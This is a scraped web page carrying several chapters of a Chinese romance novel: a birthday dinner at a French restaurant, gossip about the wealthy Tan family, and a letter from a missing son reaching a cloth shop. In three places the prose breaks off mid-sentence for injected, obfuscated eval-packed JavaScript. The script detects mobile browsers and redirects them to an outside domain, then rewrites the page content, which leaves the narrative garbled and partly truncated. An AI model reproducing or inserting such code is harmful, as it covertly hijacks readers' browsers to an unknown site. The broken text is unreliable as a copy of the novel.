两个男的坐情人的位置实在不妥,何况他们互为朋友。亏俞平长得实在有说服力,衬得麻霆君格外人模狗样,侍者自作主张冒了险,带他们去寻常人订不到的靠窗座位。 冷柠檬水与菜单一起上,麻霆君捧着本硬皮菜单,不比研究古文头疼;俞平手里则是轻薄许多的时令套餐广告,麻霆君看不惯他轻松,与他交换菜单,美其名曰道:“你先点你喜欢的。” 俞平往里翻了几页,谁知道尽是法文,一个汉字也没有,难怪麻霆君有这么绅士。他心里犯嘀咕,却朝麻霆君笑了笑,道:“是因为看不懂,所以先让我决定吗?” 麻霆君不想承认,道:“你看看,总是把我想得这么坏!我请你吃饭,你是客,我尊重你的意见。” 俞平笑道:“我们霆君未来可是要做银行行长的,行长说什么,我们底下的做什么。” 麻霆君被他叫了名字,更是嗅出几分俞平要追随他的意味,心里高兴得不得了,然而跨不过法文这关,便很没骨气地问道:“你以前也算个上流名士,见过的世面比我多多了。以前是怎么点单的,现在也这么来。” 俞平道:“以前是少爷做主,少爷说一我不二,哪轮得到我看菜单。麻少爷怎么不为我做主?” 麻霆君无可奈何,伸长脖子去邻桌打探虚实。邻桌是西式面孔的一家三口,正庆祝孩子生日,奶油蛋糕上正好插了四根蜡烛。 麻霆君便问道:“你什么时候生日?” 俞平随口道:“今天。” “今天!”麻霆君拍着桌子,几乎要站起来,“你今天过生日,怎么不早和我说?” 俞平倏地一笑,道:“来的路上说了,我有事情对五爷相求——我想吃块蛋糕。” 麻霆君面色复杂,犹豫一阵,再把菜单推还回来,道:“我尊重寿星的意见,今天寿星做主。” “我就想吃个蛋糕,其余的你说了算。” “菜单上这么多东西,你说蛋糕在哪里?” 俞平难得一次没骗过他,只好硬着头皮识法文,林林总总有几个单词是认得出的。 他向来不点菜,看不太懂菜单,幸而价格都标得出来,见到最后一页上罗列的比前面便宜太多,胸有成竹,胡乱指了个最低的:“我要这个。” 麻霆君道:“这是什么蛋糕?” 俞平道:“便宜蛋糕。” 麻霆君接过菜单,眉头皱一刻,嫌俞平太节俭,当即换了昂贵品类中的一个,名字还是其中最长的。 俞平懒得和他讲理,他反倒洋洋自得上了,摁铃铛传来侍者,先把俞平的蛋糕指出去——至于主菜,他再请侍者悄悄往边上看:“我们要和他们一样的。” 侍者轻声道:“家庭套餐包含儿童餐,做法相对简单,十分健康,但是口味不太符合成人。当下正是初夏,先生要不要看新推出的套餐?更加适合双人用。” 麻霆君抓住救命稻草,道:“就要你说的套餐,还有奶油蛋糕。” “奶油蛋糕?”侍者埋头记下,道,“您要几寸的,蜡烛要什么式样?” 麻霆君道:“最大尺寸的,加二十五根细长蜡烛,什么颜色的都来一些。” 侍者笔速飞快,重新确认菜单,嘴里嘀嘀咕咕的又是法文,只有他自己听得明白。好不容易等到侍者甩着燕尾服离去,麻霆君方觉的桌下有人蹭自己小腿,立刻捉俞平什么表情。 俞平果真笑眼盈盈,道:“五爷不记得我几岁了?” 麻霆君道:“我怕有几根蜡烛点不旺,或者有瑕疵,不好看。叫他们多拿一些。” “五爷想得周到,所以我过几岁生日?” “二十?” “十九。”俞平更正道,“我才十八,告诉过你的。” 麻霆君眼睛睁得大,眼眸闪闪发亮,仔细把俞平瞧了一轮,道:“你年纪这么小?” 俞平道:“不小,都能当家了。我还嫌我不务正业,五爷居然说我年纪小。” “你是几岁去的枢城?” “我一出生就在枢城,小时候做水手,大了做情人。” 麻霆君叹道:“唉,又骗人!” 俞平学他说话:“唉,你看看,总是把我想得这么坏!” 麻霆君被他哄得高兴,心中疑惑却消除不了,再提几个问题问他;俞平倒是油嘴滑舌,说话半分真半分假,麻霆君较劲起来,他只说他记不清楚。 再聊了会,前菜上来了,绿油油一盘沙拉,淋着浅咖色酱汁。俞平叉了块,偏偏吃中的菜叶是苦的,嚼了两口立马皱起一张脸,好不容易吞了下去。麻霆君看他模样痛苦,尝了块一模一样的,表情却是无比镇定。 俞平好奇道:“这么难吃的叶子,你怎么吃得下去?” 麻霆君纠正道:“从来没有难吃的食物!你要是感到不好吃,不妨咽得快一些。” 俞平照他的方式再尝试一轮,菜叶难吃得原封不动,灌了几口柠檬水缓解,嘴里苦涩依旧;他忽然福至心灵,问道:“你平时有什么不喜欢吃的东西?” 麻霆君老实道:“没有。” 没有?俞平也对他无话可说。正菜上了四五盘,香气扑鼻。麻霆君开一天车,晚上再要负责回鹭镇,一时间狼吞虎咽。俞平见他吃得实在有食欲,被他带动的多吃了些。 待到奶油蛋糕最后端上桌,谁的胃里也没什么余地;麻霆君非要点最大寸的,生生占了整个桌面;邻座的孩子看了起攀比之心,伏进父母怀里哭叫起来。落得大部分人都不满意的结局。 俞平着手往蛋糕上插蜡烛,圆满地绕着边缘一圈,正好二十一根。 “有这么巧!”俞平划亮火柴,边点蜡烛边说,“既是五爷给我过的生日,就按五爷的岁数庆祝。” 火苗不止跳动着,像是牵手跳舞的小精灵,多点一根便多了一个新舞伴。麻霆君也不推脱,看他一根根蜡烛点过去,才笑道:“该许愿了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272935|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又不再是小孩子;大庭广众之下,叫俞平摆许愿的姿势未免强人所难,只是稍微垂着头,盯着蛋糕中间巧克力上的祝福语,思绪钻进巧克力英文字甩尾打出的圆圈。上次吃蛋糕竟在半年前。 ——半年前又竟在香岛。说是为他庆祝生日,一个客人都不能请。香岛袭英国传统,遇上圣诞节,家里的舞厅改生日宴厅,礼物小山似的堆在乘船来的冷杉树下,一张张祝福卡片翻看过去,俞平回想起他们音容笑貌,身边却是空无一人。 那夜窗外大雾不散。最后俞平翻了阳台,一路逃到街上,再被家里的佣人识破,押上轿车回去。 空旷的舞厅里俞平许不出愿望,法餐厅里他照旧落寞着,只记得曾经甩不脱孤独的日子。十八岁便是如此凄凉地开启了,坐车回家的冤屈一辈子刻骨铭心。他总抑制着不去想,要叫海难卷过一切,谁知孤独比仇恨更加难熬,尽是暗自神伤。 香岛山雾出名,随他一道出走,薄薄蒙在眼前。此番水气却浓重了些,凝神一想,发觉是他不经意湿了眼眶。 麻霆君正等他吹蜡烛。他什么愿望也没许,潦草吹灭了事;麻霆君又不解风情,傻傻摆着笑脸盼在他眼前,道:“许了什么愿望?” 世上有这般没心没肺之人!俞平看他实在明朗,再要伤心倒也不堪实际,随他一起笑着:“愿望之所以是愿望,正是要藏在心里的,怎么能告诉你?” “要是你告诉我,说不定我能够帮你实现。”麻霆君笑道,“过生日当然讲究仪式,可惜你告诉我实在临时,我什么都没有准备。不如今晚在枢城留宿,明早一起去挑礼物。” 麻霆君说得实在坦荡,俞平笑而不语,挖了块奶油吃,心里推敲他的用意。 麻霆君又道:“你要是担心詹老板说你,有我做担保,不会怪在你头上。不要说是两天的薪水,就是两个月,两年,我也替你抵给他们。” “有五爷陪我过生日,就是最好的礼物了,我不多求什么。” 俞平多嘴道,“以往也没有朋友陪我过生日……唉呀,谁叫我只是个下人!” 他再朝麻霆君眨眨眼睛,一切言语中的篓子便被补上了。麻霆君心思不太复杂,张罗着切蛋糕。俞平分到一块规整的,歪斜的一块则在麻霆君碗里。 麻霆君忽然开口道:“新的一岁了,要不要换一种生活?” 俞平愣着。麻霆君看他当真不作表态,兀自慌了,又道:“我们会是很好的朋友!不论是生日还是什么节日,我都愿意陪你一起过。” 俞平才肯笑道:“我以为五爷也想叫我陪到床上去,果真是我多心了。” 麻霆君讪讪笑了下,原本没往这方面想,被他一说还真动了几分心思;俞平却是美好与遥远并行的,尤其是眼眸澄澈透明,衬他的邪念实在见不得光,只好埋头吃起蛋糕。 蜡烛熄灭的白烟在餐厅弥散开来,祝福萦绕他们不到片刻,立刻被嘈杂声打断。 楼下起骚乱,以至二楼的人流纷纷吸引至楼梯,胆大的往楼下跑,胆小的扶在栏杆旁看热闹,剩下麻霆君和俞平不明所以,光顾着挂念奶油蛋糕。 “发生什么了?” 23.山雾 发生什么了? 麻霆君嘱咐俞平不要乱走动,自己到楼梯口一探究竟。 去得实在太晚,好不容易挤进最后一层边沿,事情早解决了,围观群众们主张解散,他再被人流推了回来。 屋顶之下的疑云没有散去,远远望见俞平好奇的神情,麻霆君自然不肯善罢甘休,盯准了情绪最高昂的一位绅士,请他坐在自己身旁的空位。 麻霆君道:“先生,我看你从楼下上来,请问发生什么了?” 麻霆君有模有样像个富家公子,俞平更是他财富最好的佐证,两人坐靠窗位,还皆是陌生面孔;绅士见状,并不避讳,微微压低声音道:“谈公馆来人订餐了,还是谈三爷谈行一亲自来的。” 俞平吃惊道:“先生,你看准了?他怎么出来了?” 绅士道:“看准了,能不看准?不过三少爷也是难认——他头发留得不长不短,要不是个子挺高,当是哪个小女孩。是谈公馆的佣人都穿制服,好认。” 麻霆君后来点了饮料,新换上来的柠檬水一口未动,绅士蹭他们的水喝,歇了歇继续侃侃而谈。 “听说谈行一总是生病,估计是病好了,有力气出来散心。” 绅士道,“再说四少爷还失踪呢,出这么大的事情,所有人都不肯放过他们了。” 俞平道:“谈四失踪有两个月了,怎么还有人惦记?” 绅士嫌俞平发言新奇,又不知道怎么称呼他,别扭看他一眼,往麻霆君身上引:“你问问你家少爷,谈凭玉是个什么人物!” 麻霆君知道什么?一会盯俞平的眼色,一会看绅士的表情。俞平清楚他连谎话都编不出来,解围道:“我家少爷从小在香岛长大,最近才回来,不太知道枢城盘根错节。” 绅士道:“在香岛住,居然不认识他?” 俞平笑道:“我们也是最近才回来的。我家少爷玩心重,不太关心人际交往。不如您来讲一讲,谈四是什么人?” 绅士也无法拒绝俞平,内心应允下来,却不知道从何处讲起,忽然是害怕隔墙有耳了,只叹气道:“谈家现在最有本事的是二爷谈文翡。谈四年纪小,他要是再大几岁,有谈文翡什么事?” 绅士喝空麻霆君的柠檬水,不放过俞平身边的一杯,酝酿片刻: “谈家能有今天,全靠谈老爷和严家的小姐联姻。嫁进谈家的全都改作‘谈太太’,严家小姐却是几十年如一日的‘严太太’。谈文翡便是她的孩子。” 绅士信誓旦旦道,“老头被严家打压厉害,怎么打心眼喜欢一半归在严家的孩子?若非严家这几年没落,哪轮得到剩下三个孩子拔尖。家业当然是要传给谈凭玉的,这点毋庸置疑。” 前阵子听颜青天花乱坠的吹捧,麻霆君光记得谈文翡的长发多么柔顺了,这才警觉起来:即将接手的银行,若是谈家下任家主的银行,纵使亏钱,说着也好听; 谈家弃子的银行便不太美妙了,谈文翡又是在枢城风云之中上蹿下跳的,万一谈凭玉得理不饶人,他们要怎么办?便道:“按你说,谈凭玉继承家业,谈文翡怎么肯善罢甘休?” 绅士道:“都知道谈凭玉手上有一只翡翠扳指,可它原本是归谈文翡的。后来谈凭玉出生,老爷马上把扳指收了回来,多不体面!都说扳指在谁的手上,家业便要交给谁了。” 这话把麻霆君说懵了,俞平则是垂着头。 到底还是两个毛头小子,吓唬他们的乐趣大打折扣。两杯柠檬水冰冰凉凉地下肚,绅士起身告辞道:“不打搅你们了,我该回去陪太太!” 俞平把他占有的两个杯子推去桌角,有侍者回收。麻霆君与侍者道谢的时候,俞平叉子一伸,把他盘里保留到最后的樱桃挖走了。 等他反应过来,俞平匆匆吃下去,不顾奶油蹭在鼻尖,先发制人道:“要是五爷能够高攀进豪门,还会和我一起切蛋糕吗?” 麻霆君心思不在他的话语上,倾着身子,把他鼻尖擦干净,才慢悠悠地道:“豪门到底是复杂,其中心酸多了去了。再说我家也算富足,我看是做闲人有乐趣。” “方才知道的清楚五爷好心,不知道是以为五爷和我闹矛盾,要把我的鼻子打下来。” 俞平笑道,“我要是进豪门,第一件事便是把五爷抛弃了,一辈子闲在鹭镇。” 麻霆君佯装生气道:“还没结账!等下我开车先走了,把你抵在这里洗一辈子碗。” “我听明白了,原来这就是五爷要给我的新生活。” “多吃点,蛋糕堵不住你嘴。” 俞平笑一笑,按空盘子对照账单,唯独缺了一道,依稀辨别出是麻霆君点的名字最长的一个菜,号称是寿星的主意;他摁了铃传来侍者,道:“这一项没有上过。” 侍者道:“您点的是芭蕾舞剧《胡桃夹子》组曲,我们乐团可供演奏九首。正是刚才,已经演奏完毕了。” 偏偏是《胡桃夹子》——窗外夜色浓郁,忧郁气氛迟来地染上俞平苍白的脸庞。 侍者鞠了躬即走,麻霆君笑道:“这家法餐是颜青推荐给我的,难怪稀奇古怪的花样多。刚才都听故事去了,要不要叫他们再来一首?” 每年生日必然伴随《胡桃夹子》上演,有时是莫斯科来的舞团,有时是巴黎,既然乐章奏过了,无论什么生日都度过了,俞平快麻霆君一步,把铃抽走,道:“也没什么好听的,不如去外面散步。” 麻霆君道:“不吃蛋糕了?” “有什么好吃的?”俞平低声笑道,“当谁都和你一样,饿狗舔盘子。” 麻霆君“哼”一声,里头笑的意味更多,拍起账单下楼结账。翻钱夹时才发现自己现钱带得不够,也没有外币,便签了张支票。 门口侍者中有一位胸口别金属胸针的,若是夫妻或是恋人出门,便从花筒里抓一把鲜花,剪了水淋淋的根,包成一束送客。就餐宾客大多成双结对,此时已晚,几只花桶尽所剩无几。 俞平看了暗自觉得好笑,难怪是颜青推荐的餐厅,要说麻霆君心思不复杂,只怕颜青更加简单; 偏偏他一直看人家分花,那人也注意到他,一桶一桶不同品类的展示过去,底下悄悄比着手势交流;俞平选定了,那人再向俞平眨眨眼睛,提前预备起来。 这边奶油蛋糕打包了出来,装在纸盒里,重新赠了蜡烛,由麻霆君提着。俞平戳了戳他:“颜少爷有没有和你提起,带什么人来这里吃饭最划算?” 麻霆君荒唐道:“朋友么,自然什么地方都可以去。” 想来他必然心知肚明,俞平心里再不屑,最终也只笑了笑。 经过门口,俞平故意快步上前,挽着麻霆君的胳膊,如愿以偿得到了一束洋桔梗,花朵开得挤在一起,实在烂漫。出门后立刻翻脸不认人,把麻霆君撇在一旁。 麻霆君数落道:“看看,还等什么豪门,得了束花,立刻把我甩脱了。” 俞平抱着花笑得东倒西歪,赖皮道:“人家有心送我友谊之花,五爷没有心!” 麻霆君再靠过来,往卷花的彩纸里一瞧,立刻道:“只送一束小草花,我们的友谊这么掉分量!” “草花怎么了?我不过是一介草民。”俞平走出几步,又大声宣传道,“我想起来,是我们五爷最尊贵了!年方二一,英俊潇洒,更是枢城未来的银行行长,多不简单!” 麻霆君来捂他的嘴,两人嬉笑着扭打在一起,都是做玩笑样子,歪歪斜斜几步后重新走在一起。 麻霆君道:“要买就买束好的,为我们的友情升个价。” “花店夜里打烊,去哪里买?”俞平笑道,“这是洋桔梗。我以前一去香岛就是半年,每星期都喜欢买。” “在香岛买花做什么?” “没人陪我,总要有束花吧。” 麻霆君不自然挑了眉,没说什么,继续与俞平散步。出了餐厅还是傍晚,江边时不时见到白鸟扑扇翅膀掠过,等白鸟的羽翼染上橘黄,夜升起来了。堤岸上隔几步竖一盏路灯。 不想麻霆君沉醉在夜色,俞平靠在他身上,道:“五爷还想和我走到什么时候?” 麻霆君醒悟过来,道:“我的车停在法餐厅边上,不如你在原地等着我,我把车开过来。” 俞平还真老实坐在长椅上。 少时有报童看他落单,挨了过来:“先生,买一份报纸!” 报童便是急于卖掉最后一张报,慌不择路了,俞平看着就是身无分文的,居然也能被盯上。他朝报童一摊手,报童却道:“不要紧的,你先拿一份看着。一会你家少爷来了,能帮我讨点小费就好了。” 俞平道:“你怎么知道?” 报童笑道:“先生,我在西餐社门口就看见你了!” 俞平躲不过,只好道:“还剩下什么报纸?” 报童把斜挎包提在身前,翻找起来,正规一些的报纸早卖光了,唯独剩三份得鹊报。得鹊报师从香岛小报,内容以枢城不堪入目的娱乐新闻为主。 俞平真在香岛住过,对香岛小报从来没留下什么好印象;此时也是无聊,好奇一眼,头版标题是“谈行一步难行,剪彩告病缺席。”;这人晚上分明来买法餐吃,叫俞平表情更加难看起来。 报童看他不乐意,又道:“我这里存着几张得鹊报今年开年的报纸,价格稍微贵一些,内容保证有趣。” 可惜迟迟不见麻霆君开车来,俞平心里一万个不想相信,只能与他消磨时间。报童把开年报摊开与他: “枢城美人榜单年终排名……第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可是他近期有件头等大事等不及。 报童说在这里故意停了。俞平追问道:“是什么?” 报童不出声。 俞平道:“等下我家少爷来了,你要多少钱有多少。” 报童笑道:“我不是这个意思,我怕吓到你!” ——他想找个与他情投意合的恋人。 俞平再是黑了脸,道:“八卦报纸尽是空穴来风的八卦消息,有什么说服力!” 报童竭力否认道:“枢城名媛里有一位郁小姐,与谈家交往甚密。报社主编也是个人物,混迹枢城名媛圈,有时候能在牌桌上遇见她,一来二去相熟起来了。” 又道:“看你是跟少爷的,多和你说一些也不妨。听说郁小姐好不容易为谈凭玉物色一位如意郎君,可惜人家没这个福气,至今下落不明。” 俞平沉默许久,道:“你知道什么关于那位如意郎君的?” “他已经被谈凭玉预定掉了,你不好干预!” “我看看是不是我家少爷。” 报童笑得仿佛心知肚明,道:“肯定不是!是给四爷物色人选,哪能找个不清白之身?不过郁小姐没讲太多,只知道他不是枢城人……单凭这一点,我看也没多如意。” 其余关于谈凭玉的八卦讲不出来了,报童不甘沉默,见俞平对报纸有兴趣,又提了些美人榜单亚军季军之流的风流轶事;忽然指着不远处的车灯,问道:“那是你家少爷的车吗?” 俞平抬头即看见麻霆君大步流星而来,深色衣着,显得五官愈发出彩。报童闭了嘴,问麻霆君讨小费;麻霆君当真慷慨,皮夹里的零钱都给了他。 报童欢悦地数过钱,鞠躬不止,道:“谢谢两位先生,两位是我见过最般配的恋人了!料是谈四爷都享不了如此美妙时光!” 麻霆君惊慌失措道:“什么恋人?我们是朋友。” 报童更是不放过他:“先生,友谊无价!” 俞平心虚朝麻霆君一笑,然则麻霆君比他更加心虚,请俞平上车时始终撇着头。俞平正要一脚跨上,麻霆君伸手拦在前面,道:“你忘记一件事情了。” 俞平拢共三件行李,西药丢在后座,奶油蛋糕必然是安稳落在后备箱里,花束斜斜靠在座位上。他心里嫌麻霆君莫名其妙,自己却无论如何想不出来了,好不容易道:“单据没拿?” “不是。” “报纸?” “不是。” “《胡桃夹子》?” “就知道你对那里的音乐念念不忘,我们只能下次再去了。” 俞平猜一个一个不准,没心思与他费劲,道:“究竟是什么?” 麻霆君笑道:“生日快乐!” 入夜后前来瑞奏江畔散步的人更多,川流自轿车两边而过。麻霆君替俞平关上车门后,绕去另一侧车门。 俞平手中捧着的洋桔梗,馥郁之中格外夹杂些苦味,耳畔所环绕的人声嘈杂只进不出;在耳朵拉响的警报里,他听见身体埋下祸患的声音:他的心头怦怦乱跳,很长一段时间才平静下来。 24.漫漫 俞平回到布店确切在半夜三更。 布店就没想过他还能回来——亏是兰香在家里,两个大的不好上梁不正下梁歪了,说是天黑不好走夜路。 又碰巧,麻霆君中午一脚踹了锁,锁匠今天还休息,他们只好虚掩着大门,在外头看上去就和锁住了一样,倒真也没人觉得会有什么半夜来访。 麻霆君的德国车动静大,俞平怕吵醒街坊邻居,早早下了车。回布店的一段路,不光手里大包小包,还要蹑手蹑脚地上楼,从未发觉布店的阶梯漫长望不至头。 好不容易到二楼,却听见走廊尽头窸窣不断。 二楼正是詹氏一家的居所,藏着不少贵重物品,俞平初来乍到时,大家都提防他,不肯任他独自进去;然而此时动静不小,俞平止不住坏念头的萌生,便顷刻放下蛋糕与花束,探索过去。异响是在兰香的房门前的。 但是今天是见识了八卦新闻有多厉害,他居然踌躇不前。 要说兰香到底是个半大姑娘,纵使俞平对她半丝杂念没有,当真是半夜三更进了她的房间,电灯一打,谁知道外面怎么去说他?兰香是鹭镇上一只白天鹅,俞平长得再好,未免不是□□; 他手停在门把手上,心里懊悔着,早知道叫麻霆君送他上来了。 踌躇时候,里头传来东西落地的响声——俞平再警觉起来。要说名誉,布店安危旋即一线了,谁管长工进小姐的屋子?便铁了心,一把撞开门,又迅速摁了电灯。 惨白灯光顷刻无处不在,兰香顶着红肿眼睛投来一瞥,再深深伏进枕头。 所幸房间里除去兰香,不见其他人影。俞平才如释重负,笑道:“原来是我们大小姐在哭,我当是闹鬼。” 顷刻间掷来一个布娃娃,俞平扭头躲开,弯腰捡起在手里。 兰香嘴硬道:“还不是因为你!” 她既是偷偷哭泣,必然不想令父母担心。俞平还是想避险,不敢把门关上,虚虚掩着,再捞走她梳妆台前的板凳,自己堵在门口,道:“不就是多抄几页字帖,伤什么心?” 兰香怒道:“你个没良心的,自己快活过了,还不忘笑话我!” 她这番又是话里有话,俞平打探道:“阿吉不理你了?” 兰香不答,只把枕头砸向他。俞平笑道:“这就对啦!阿吉有什么好的,长得也不怎么样。” 兰香愤恨不止,道:“是谁都没有麻霆君好,谁都比不了你!” 俞平倒没有否认,劝道:“不说目标多远大,好歹和我一样,先把算盘进制学会了。你家开布店,不能学不会算盘。” “咦?”兰香也不哭了,两眼发光,“这么说,你喜欢他?” 俞平道:“我已经改过自新,不陪少爷了。” “他带你去枢城玩呢,我都没去几回!还这么晚回来。” “我是去看病的。否则老板雇我不划算,该赔给他们家的钱也交不上来。你当他有多好?” 兰香嘟囔道:“没意思,真没意思!” 俞平大致把她心思猜透了,去楼梯口抱来蛋糕盒。卧室里没有空余的桌子,他便放在地上拆了起来。奶油蛋糕在后备箱睡了一路,边缘奶油裱花微微撞破了相。 兰香看见奶油蛋糕,纵使眼泪掉在地上成珍珠也哭不出来了,手脚并用地爬在蛋糕旁,腰间还缠着被褥,嘴上催俞平快点给她切一块,小的不要; 俞平看她实在衣冠不整,不忍直视,蛋糕都切不下去了,道:“大小姐,你把衣服穿好。” 兰香夺过俞平手里刀叉,自己切起蛋糕,调皮道:“哎呀,我们之间有什么分别,我是打心眼把你当成我的姊妹看待的!” 俞平无计可施,眼睁睁看着她狼吞虎咽下一大块蛋糕。 “天底下有这么美味的东西,难怪吃了不会做噩梦。”兰香称心遂意,傻乎乎笑着,又道,“五爷真有本事,居然想到请你吃蛋糕。换了我,要是你做噩梦,我就叫你去爬山——累死就做不出梦了。” 俞平闻言,冷笑一声,才道:“吃过蛋糕就不能再想阿吉了。” “哪里来的规矩?你不会以为我真的多在意他吧?” 这话纯属是不打自招,俞平唯有点头如捣蒜。兰香气得想往他身上打,却是吃人嘴短起来,哼了一声罢休,道:“我想我哥哥!哥哥还没回来。” 话说詹兰竹一去数月,家书自四月便断了,其余再杳无音讯。今春多雷雨,茶山不少泥石流。他若是真卷着货款逃了还不算太差,怕是出什么意外。 兰香道:“你说我哥哥会出事吗?” 俞平心里没底,却也安慰道:“不会吧。” 兰香叹了口气,不想与他纠结虚无缥缈的保证,裹着被褥回到床上,道:“你可以回去睡觉了,蛋糕留在我这里。” 俞平起身要走,兰香又叫住他:“你和麻霆君——” “什么都没有。”俞平道,“大小姐,安心休息吧。” 兰香不罢休,又试探道:“可,我看他好像挺在乎你的?” 俞平笑道:“这倒是不用你告诉我。” 阁楼堪称家徒四壁。俞平返回楼下,去天井杂物堆,好不容易摸了一个深口瓶出来,水打得半满,上楼插花。 油灯必是奢侈地点上了,又借灯火掐去底下的叶片,小丘般堆在桌上。 洋桔梗花瓣染着夜的色彩,俞平逼迫自己凝神许久,心中才死里逃生,所幸他看的尽是花,不是麻霆君。不去想麻霆君,夜便分外安宁。 天窗蒙一层灰,糊得夜色不明,月像是夜空中烫出的一个烟孔。若是衣服上有烟孔,能送来布店修补;心上缺了一个孔,倒只能望着月光失神——还是不要去想念他!俞平熄了灯,立刻上床歇息。 天亮时俞平迷迷糊糊做噩梦,正孤苦伶仃站在甲板上,轮船立刻被兰香的尖叫刺破了。 睁眼时仍混沌,迷迷糊糊走下楼,发觉詹老板与何氏面色凝重在店里,以为是昨晚的不辞而别惹了他们不高兴。 才看见桌上有封书信。 “我这里一切都好,下个月就能回家了。爹娘多保重,小妹多读书。詹兰竹致上。” 兰香把信纸翻来覆去看一遍,找不出第二行话。不满道:“都说哥哥读书好,有什么用?关键时候一个字都多不了,还不如我。” 天亮前店里来了几个蓬头垢面的年轻人,因由布店没上锁,径自进来了。詹老板和何氏起床早,见到他们吓一跳;那几人才表明来意,原来是邻镇的人,数月前同詹兰竹一起出发茶山。 邻镇的茶园在茶山东,麻家的茶园在茶山西,采茶期间他们与詹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346802|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰竹聚会过几次;无奈今年茶山泥石流格外多,不说茶园损失惨重,险些危害性命。 他们打退堂鼓,走前去茶山西探望詹兰竹,詹兰竹毕竟承麻霆君的情,不想违约,唯独留了封书信,拜托他们带回。 据说詹兰竹是个本分孩子,倘使他真不讲诚信,卷款逃跑,哪会多此一举写家书?几个年轻人为詹兰竹好话说尽,吃过何氏的麦饼,匆匆告别回家。 见到俞平下来,何氏忙道:“俞平,我们今天一起去一趟麻公馆,把兰竹的事情和他们说清楚。” 詹老板道:“能和他们说什么?一封书信,几句别人嘴里的话。没作用的。” 何氏坐在一旁,叹气道:“兰竹还不回来,他们面上不为难我们,心里不知道怎么想的。我是不想他们误解兰竹,兰竹是多么好的孩子!” 兰香道:“爹,娘,我字帖写得不好看,先生却说用功了就行。兰竹哥没有确切的消息,只有书信,我想还是去和五爷讲一声,让他知道我们的心意。” 料想无用功总比无用好,詹老板与何氏讨论几句,应允下来。 兰香便把俞平推了出来,道:“叫俞平去就行了,俞平一定能讨五爷欢心!” * 麻霆君卧室装过电话,清早便铃响不止。 前几个被他深睡眠侥幸逃脱了,方才那个害得他睁开眼睛,却挣扎在床上起不来,好不容易熬过最艰难的时刻,刚要伸出手,不想电话挂断了; 麻霆君再欲沉沉睡去,偏偏电话又响起来,使劲拉来听筒一听,传出颜青的嗓音。 “霆君!霆君!” 是颜青打来的电话,能够接听就不错了,管什么礼节;麻霆君枕着听筒近乎昏倒,颜青也是真懂他,大声道:“你清醒一些,有要紧事!” 颜青能有什么要紧事!麻霆君紧缩眼睛,眯了一阵,才道:“你要和谈文翡去意大利了?” 颜青道:“是谈文翡的事情,可他要来找你!” “我也要去意大利?” “意什么!你是不是还睡着?你别在床上躺了,快站起来!” 遭他一顿吼,麻霆君清醒不少,道:“说好茶叶的事情已经解决,他反悔了?” “谈凭玉失踪以后,他姐姐查了他香岛的邮箱。新寄过去的只有一封信件,正是郁蕙心寄给他的。郁蕙心是谈文翡前任未婚妻,和谈凭玉关系一直不错。” 颜青道,“谈凭玉都下落不明了,当然是找到他要紧,他们把信拆开了。朋友之间多说些闲话也正常,可是里面有一张你的照片!他们要来查你了!” 麻霆君被他说得真清醒过来,道:“我的照片?” 颜青道:“就是你的照片!你被照相馆请作好几次模特,她要你照片多么方便,你别说你不记得!” 麻霆君冤屈道:“我哪里惹过他们!” 颜青道:“很早以前我们一起上货轮,不小心把谈凭玉的车划了,我叫你一起和我逃跑,你不肯——他打了你一顿不解气,没想到还怀恨在心。” 麻霆君道:“郁蕙心顶多是出名,应当没什么手段。他要是恨我,怎么会叫郁蕙心来找我?” “我哪知道!我早上去找蕙心打牌,没想到她着急出门,正是为这事而来。估计现在已经快到鹭镇了!” 25.不速 麻公馆门前停了三辆车。车上先下来一位身材高大的男人,长发飘飘,丰神俊朗;其后钻出一位小姐,穿浅黄色洋裙,手里抱一只饼干色皮包,用得软软塌塌,卧在腋下;披散头发的是谈文翡,盘头发的则是郁蕙心。 谁有把他们堵在门口的勇气?守门的人避着眼睛开了门,再慌慌张张去向里面通报。 谈文翡身高腿长,郁蕙心步子迈得也不小,一同进了前厅。 这两人长得都好:谈文翡能叫颜青牵魂牵梦萦多年,自是不必多说;郁蕙心生得太巧,赶上枢城标榜鹅蛋脸的主流,必然是名媛中的范本。然则她脸上圆眼弯眉毛挡不住凌厉气质,与谈文翡站在一起,照理说挺相配,气场仿佛都是与所有人不共戴天。 其余人物才追随过来。谈文翡带的大多是彪形大汉,站在一起,密林一般拨不开。郁蕙心看一个嫌一个难看,实在找不过来,道:“士多啤梨呢?” 真被她唤出来一个水灵灵的丫鬟,十二三岁的年纪,梳两根麻花辫,扑在她怀里:“蕙心小姐!” 谈文翡认识她,也道:“小莓?” 丫鬟怯生生看他一眼,忙钻到郁蕙心背后。郁蕙心护着她,咯咯笑起来。 谈文翡道:“前阵子记得她还是小莓,怎么突然换名字了?” “你不懂,前几天办草莓节,有个小姐号称在香岛住过,一定士多啤梨来士多啤梨去。香岛若是真的有什么稀奇的,被她一说,马路似的,好像谁都能踩上一脚。” 郁蕙心朝小莓看一眼,哀哀道,“讲士多啤梨你总听得懂。九月份你又去英国,继续和我弟弟过苦日子了!” 谈文翡便道:“你弟弟录取在哪个学校?我记得你和我说过,他也和我说过,可我忘记了。” 郁蕙心斜眼看他一眼:“能够忘记就代表不重要,也没有继续知道的必要了。” 